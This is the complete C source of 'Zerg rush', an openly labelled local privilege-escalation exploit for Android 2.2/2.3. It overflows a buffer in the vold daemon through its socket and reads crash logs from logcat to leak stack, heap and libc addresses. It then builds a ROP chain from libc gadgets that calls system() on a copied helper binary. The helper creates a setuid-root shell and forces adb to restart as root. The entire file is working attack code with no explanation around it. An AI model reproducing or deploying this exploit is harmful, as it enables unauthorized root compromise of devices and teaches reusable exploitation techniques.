#include <dlfcn.h>
#include <sys/system_properties.h>
#include <cutils/sockets.h>
#include <private/android_filesystem_config.h>
static pid_t logcat_pid = 0;
static char *sh = "/data/local/tmp/sh";
static char *bsh = "/data/local/tmp/boomsh";
static char *crashlog = "/data/local/tmp/crashlog";
static char *vold = "/system/bin/vold";
uint32_t heap_addr;
uint32_t libc_base;
uint32_t heap_base_addr;
uint32_t heap_offset;
uint32_t r9 = 0, r10 = 0, fp = 0;
uint32_t stack_addr = 0x41414141;
uint32_t system_ptr = 0;
uint32_t stack_pivot = 0x41414141;
uint32_t pop_r0 = 0x41414141;
uint32_t jumpsz = 0;
uint32_t gadget_jumpsz = 108;
uint32_t buffsz = 0;
uint32_t allbuffsz[] = {16,24,0};
uint8_t adjust = 0;
uint8_t samsung = 0;
extern char **environ;
static void die(const char *msg)
{
perror(msg);
exit(errno);
}
static int copy(const char *from, const char *to)
{
int fd1, fd2;
char buf[0x1000];
int r = 0;
if ((fd1 = open(from, O_RDONLY)) < 0)
return -1;
if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0) {
close(fd1);
return -1;
}
for (;;) {
r = read(fd1, buf, sizeof(buf));
if (r <= 0)
break;
if (write(fd2, buf, r) != r)
break;
}
close(fd1);
close(fd2);
sync(); sync();
return r;
}
static int remount_data(const char *mntpoint)
{
FILE *f = NULL;
int found = 0;
char buf[1024], *dev = NULL, *fstype = NULL;
if ((f = fopen("/proc/mounts", "r")) == NULL)
return -1;
memset(buf, 0, sizeof(buf));
for (;!feof(f);) {
if (fgets(buf, sizeof(buf), f) == NULL)
break;
if (strstr(buf, mntpoint)) {
found = 1;
break;
}
}
fclose(f);
if (!found)
return -1;
if ((dev = strtok(buf, " \t")) == NULL)
return -1;
if (strtok(NULL, " \t") == NULL)
return -1;
if ((fstype = strtok(NULL, " \t")) == NULL)
return -1;
return mount(dev, mntpoint, fstype, MS_REMOUNT, 0);
}
static void *find_symbol(char *sym)
{
void *r = NULL;
void *dlh = dlopen("/system/libc/libc.so", RTLD_NOW);
if (!dlh)
die("[-] dlopen");
if ((r = (void *)dlsym(dlh, sym)) == NULL)
die("[-] dlsym");
dlclose(dlh);
return r;
}
static int bad_byte(uint8_t byte)
{
switch(byte) {
case 0x20:
case 0x22:
case 0x5c:
case 0x00:
return 1;
break;
default:
break;
}
return 0;
}
static void heap_oracle() {
char ok = 1;
if (r9 > heap_base_addr && r9 < (heap_base_addr+0x10000))
heap_addr = r9 + 0x70;
else if (r10 > heap_base_addr && r10 < (heap_base_addr+0x10000))
heap_addr = r10 + 0x70;
else if (fp > heap_base_addr && fp < (heap_base_addr+0x10000))
heap_addr = fp + 0x70;
else
ok = 0;
while(bad_byte(heap_addr&0xff)) heap_addr += 0x20;
if(ok)
printf("[+] Overseer found a path ! 0x%08x\n", heap_addr);
else {
printf("[-] No path found, let's hope ...\n");
heap_addr = heap_base_addr + heap_offset;
}
}
static int check_addr(uint32_t addr)
{
/*
* Check if address contains one of the forbidden bytes
*/
int i = 0;
for(i=0; i<32; i+=8)
if(bad_byte((addr>>i) & 0xff))
return -1;
return 0;
}
static int do_fault()
{
char buf[255];
int sock = -1, n = 0, i;
char s_stack_addr[5], s_stack_pivot_addr[5], s_pop_r0_addr[5], s_system[5], s_bsh_addr[5], s_heap_addr[5];
uint32_t bsh_addr;
char padding[128];
int32_t padding_sz = (jumpsz == 0 ? 0 : gadget_jumpsz - jumpsz);
if(samsung) {
printf("[*] Sleeping a bit (~40s)...\n");
sleep(40);
printf("[*] Waking !\n");
}
memset(padding, 0, 128);
strcpy(padding, "LORDZZZZzzzz");
if(padding_sz > 0) {
memset(padding+12, 'Z', padding_sz);
printf("[*] Popping %d more zerglings\n", padding_sz);
}
else if(padding_sz < 0) {
memset(padding, 0, 128);
memset(padding, 'Z', 12+padding_sz);
}
if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0)
die("[-] Error creating Nydus");
sprintf(s_stack_addr, "%c%c%c%c", stack_addr & 0xff, (stack_addr>>8)&0xff, (stack_addr>>16)&0xff, (stack_addr>>24)&0xff);
sprintf(s_stack_pivot_addr, "%c%c%c%c", stack_pivot & 0xff, (stack_pivot>>8)&0xff, (stack_pivot>>16)&0xff, (stack_pivot>>24)&0xff);
sprintf(s_pop_r0_addr, "%c%c%c%c", pop_r0 & 0xff, (pop_r0>>8)&0xff, (pop_r0>>16)&0xff, (pop_r0>>24)&0xff);
sprintf(s_system, "%c%c%c%c", system_ptr & 0xff, (system_ptr>>8)&0xff, (system_ptr>>16)&0xff, (system_ptr>>24)&0xff);
sprintf(s_heap_addr, "%c%c%c%c", heap_addr & 0xff, (heap_addr>>8)&0xff, (heap_addr>>16)&0xff, (heap_addr>>24)&0xff);
if(adjust)
strcpy(buf, "ZERGZERG");
else
strcpy(buf, "ZERG");
strcat(buf, " ZZ ");
strcat(buf, s_stack_pivot_addr);
for(i=3; i < buffsz+1; i++)
strcat(buf, " ZZZZ");
strcat(buf, " ");
strcat(buf, s_heap_addr);
n = strlen(buf);
bsh_addr = stack_addr + n + 1 + 8 + 8 + 8 + padding_sz + 12 + 4;
if(check_addr(bsh_addr) == -1) {
printf("[-] Colossus, we're doomed!\n");
exit(-1);
}
sprintf(s_bsh_addr, "%c%c%c%c", bsh_addr & 0xff, (bsh_addr>>8)&0xff, (bsh_addr>>16)&0xff, (bsh_addr>>24)&0xff);
n += sprintf(buf+n+1, "%s%s OVER%s%s%s%sZZZZ%s%c", s_stack_addr, s_heap_addr, padding, s_pop_r0_addr, s_bsh_addr, s_system, bsh, 0);
printf("[*] Sending %d zerglings ...\n", n);
if ((n = write(sock, buf, n+1)) < 0)
die("[-] Nydus seems broken");
sleep(3);
close(sock);
return n;
}
static int find_rop_gadgets()
{
/*
* add sp, #108 -> b01b
* pop {r4, r5, r6, r7, pc} -> bdf0
*
* pop {r0, pc} -> bd01
*/
int fd;
char r[2], d[2];
int n = 2;
int bad = 0;
if((fd=open("/system/lib/libc.so", O_RDONLY)) == -1)
die("[-] open");
lseek(fd, 0x10000, SEEK_SET);
while(n == 2 && (stack_pivot == 0x41414141 || pop_r0 == 0x41414141)) {
n = read(fd, r, 2);
switch(r[0]) {
case '\x1b':
if(stack_pivot == 0x41414141) {
if(r[1] == '\xb0') {
n = read(fd, d, 2);
if(d[0] == '\xf0' && d[1] == '\xbd') {
stack_pivot = libc_base + lseek(fd, 0, SEEK_CUR) - 4 + 1;
if(check_addr(stack_pivot) == -1)
stack_pivot = 0x41414141;
}
}
}
break;
case '\x01':
if(pop_r0 == 0x41414141) {
if(r[1] == '\xbd') {
pop_r0 = libc_base + lseek(fd, 0, SEEK_CUR) - 2 + 1;
if(check_addr(pop_r0) == -1)
pop_r0 = 0x41414141;
}
}
break;
default:
break;
}
}
if (stack_pivot == 0x41414141) {
printf("[-] You need more minerals !\n");
bad = -1;
}
if (pop_r0 == 0x41414141) {
printf("[-] You need more vespene gas !\n");
bad = -1;
}
if(bad == -1)
exit(-1);
return 0;
}
static uint32_t checkcrash()
{
uint32_t fault_addr = 0;
char buf[1024], *ptr = NULL;
FILE *f = NULL;
long pos = 0;
int ret=0;
system("/system/bin/logcat -c");
unlink(crashlog);
if ((logcat_pid = fork()) == 0) {
char *a[] = {"/system/bin/logcat", "-b", "main", "-f", crashlog, NULL};
execve(*a, a, environ);
exit(1);
}
sleep(3);
if (do_fault() < 0)
die("[-] Zerglings did not cause crash");
/* Give logcat time to write to file
*/
sleep(3);
if ((f = fopen(crashlog, "r")) == NULL)
die("[-] Zerglings did not leave stuff at all");
fseek(f, pos, SEEK_SET);
do {
memset(buf, 0, sizeof(buf));
if (!fgets(buf, sizeof(buf), f))
break;
if ((ptr = strstr(buf, " sp ")) != NULL)
ret = 1;
if ((ptr = strstr(buf, " r9 ")) != NULL) {
ptr += 5;
r9 = (uint32_t)strtoul(ptr, NULL, 16);
}
if ((ptr = strstr(buf, " 10 ")) != NULL) {
ptr += 5;
r10 = (uint32_t)strtoul(ptr, NULL, 16);
}
if ((ptr = strstr(buf, " fp ")) != NULL) {
ptr += 5;
fp = (uint32_t)strtoul(ptr, NULL, 16);
}
} while (!feof(f));
pos = ftell(f);
fclose(f);
return ret;
}
static uint32_t check_libc_base()
{
char buf[1024], *ptr = NULL;
FILE *f = NULL;
long pos = 0;
int ret=0;
uint32_t spotted_base = 0;
if ((f = fopen(crashlog, "r")) == NULL)
die("[-] Zerglings did not leave stuff at all");
fseek(f, pos, SEEK_SET);
do {
memset(buf, 0, sizeof(buf));
if (!fgets(buf, sizeof(buf), f))
break;
if ((ptr = strstr(buf, " /system/lib/libc.so")) != NULL) {
ptr -= 8;
spotted_base = strtoul(ptr, NULL, 16) & 0xfff00000;
if(spotted_base && spotted_base != libc_base) {
libc_base = spotted_base;
ret = 1;
}
}
} while (!feof(f) && !spotted_base);
pos = ftell(f);
fclose(f);
return ret;
}
static uint32_t find_stack_addr()
{
uint32_t fault_addr = 0;
char buf[1024], *ptr = NULL;
FILE *f = NULL;
long pos = 0;
uint32_t sp=0, over=0;
system("/system/bin/logcat -c");
unlink(crashlog);
if ((logcat_pid = fork()) == 0) {
char *a[] = {"/system/bin/logcat", "-b", "main", "-f", crashlog, NULL};
execve(*a, a, environ);
exit(1);
}
sleep(3);
if (do_fault() < 0)
die("[-] Zerglings did not cause crash");
/* Give logcat time to write to file
*/
sleep(3);
if ((f = fopen(crashlog, "r")) == NULL)
die("[-] Zerglings did not leave stuff at all");
fseek(f, pos, SEEK_SET);
do {
memset(buf, 0, sizeof(buf));
if (!fgets(buf, sizeof(buf), f))
break;
if ((ptr = strstr(buf, " 4752455a")) != NULL && stack_addr == 0x41414141) {
ptr -= 8;
stack_addr = (uint32_t)strtoul(ptr, NULL, 16);
}
if ((ptr = strstr(buf, " 5245564f")) != NULL && !over) {
ptr -= 8;
over = (uint32_t)strtoul(ptr, NULL, 16);
}
if ((ptr = strstr(buf, " sp ")) != NULL && !sp) {
ptr += 5;
sp = (uint32_t)strtoul(ptr, NULL, 16);
}
if ((ptr = strstr(buf, " r9 ")) != NULL) {
ptr += 5;
r9 = (uint32_t)strtoul(ptr, NULL, 16);
}
if ((ptr = strstr(buf, " 10 ")) != NULL) {
ptr += 5;
r10 = (uint32_t)strtoul(ptr, NULL, 16);
}
if ((ptr = strstr(buf, " fp ")) != NULL) {
ptr += 5;
fp = (uint32_t)strtoul(ptr, NULL, 16);
}
} while (!feof(f));
pos = ftell(f);
fclose(f);
if(over && sp)
jumpsz = over - sp;
return stack_addr;
}
static void do_root()
{
remount_data("/data");
chown(sh, 0, 0);
chmod(sh, 04711);
property_set("ro.kernel.qemu","1");
exit(0);
}
int main(int argc, char **argv, char **env)
{
uint32_t i = 0, ok = 0;
char *ash[] = {sh, 0};
struct stat st;
char version_release[1024];
int tries=0;
if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh"))
do_root();
printf("\n[**] Zerg rush - Android 2.2/2.3 local root\n");
printf("[**] (C) 2011 Revolutionary. All rights reserved.\n\n");
printf("[**] Parts of code from Gingerbreak, (C) 2010-2011 The Android Exploid Crew.\n\n");
if (copy("/proc/self/exe", bsh) < 0 || copy("/system/bin/sh", sh) < 0)
die("[-] Cannot copy boomsh.");
chmod(bsh, 0711);
stat(vold, &st);
heap_base_addr = ((((st.st_size) + 0x8000) / 0x1000) + 1) * 0x1000;
__system_property_get("ro.build.version.release", version_release);
if (strstr(version_release, "2.2")) {
heap_offset = 0x108;
printf("[+] Found a Froyo ! 0x%08x\n", heap_offset);
} else if (strstr(version_release, "2.3")) {
heap_offset = 0x118;
printf("[+] Found a GingerBread ! 0x%08x\n", heap_offset);
} else {
printf("[-] Not a 2.2/2.3 Android ...\n");
exit(-1);
}
heap_addr = 0xffffff;
__system_property_get("ro.build.fingerprint", version_release);
if(!strncmp(version_release, "samsung", 7)) {
printf("[+] Found a Samsung, running Samsung mode\n");
samsung = 1;
}
system_ptr = (uint32_t) find_symbol("system");
libc_base = system_ptr & 0xfff00000;
if (check_addr(system_ptr) == -1) {
printf("[-] High templars, we're doomed!\n");
exit(-1);
}
tries = 0;
printf("[*] Scooting ...\n");
while(buffsz=allbuffsz[tries]) {
if(checkcrash()) {
printf("[+] Zerglings found a way to enter ! 0x%02x\n", buffsz);
break;
}
tries++;
}
if(!buffsz) {
printf("[-] Hellions with BLUE flames !\n");
exit(-1);
}
for (tries = 0; tries < 2; tries++) {
heap_oracle();
find_stack_addr();
if (stack_addr != 0x41414141 && jumpsz) {
printf("[+] Zerglings caused crash (good news): 0x%08x 0x%04x\n", stack_addr, jumpsz);
break;
}
}
if (stack_addr == 0x41414141 || !jumpsz) {
printf("[-] Zerglings did not leave interesting stuff\n");
exit(-1);
}
if (check_addr(stack_addr) == -1) {
if(bad_byte(stack_addr & 0xff)) {
stack_addr += 4;
adjust = 4;
if (check_addr(stack_addr) == -1) {
printf("[-] Siege tanks, we're doomed!\n");
exit(-1);
}
}
else {
printf("[-] Siege tanks, we're doomed!\n");
exit(-1);
}
}
if (jumpsz > 108 + 12) {
printf("[-] This terran has walled!\n");
exit(-1);
}
if(check_libc_base()) {
system_ptr = libc_base + (system_ptr & 0x000fffff);
printf("[*] Creating more creep 0x%08x ...\n", system_ptr);
if (check_addr(system_ptr) == -1) {
printf("[-] High templars, we're doomed!\n");
exit(-1);
}
}
kill(logcat_pid, SIGKILL);
unlink(crashlog);
printf("[*] Researching Metabolic Boost ...\n");
find_rop_gadgets();
printf("[+] Speedlings on the go ! 0x%08x 0x%08x\n", stack_pivot, pop_r0);
do_fault();
stat(sh, &st);
if ((st.st_mode & 04000) == 04000) {
char qemuprop[1];
printf("\n[+] Rush did it ! It's a GG, man !\n");
property_get("ro.kernel.qemu",qemuprop,"0");
if (qemuprop[0]=='1') {
printf("[+] Killing ADB and restarting as root... enjoy!\n");
fflush(stdout);
sleep(1);
kill(-1, SIGTERM);
} else {
printf("[-] Failed to set property to restart adb. Not killing.\n");
}
} else {
printf("\n[-] Bad luck, our rush did not succeed :(\n");
fflush(stdout);
sleep(1);
kill(-1, SIGTERM);
}
return 0;
}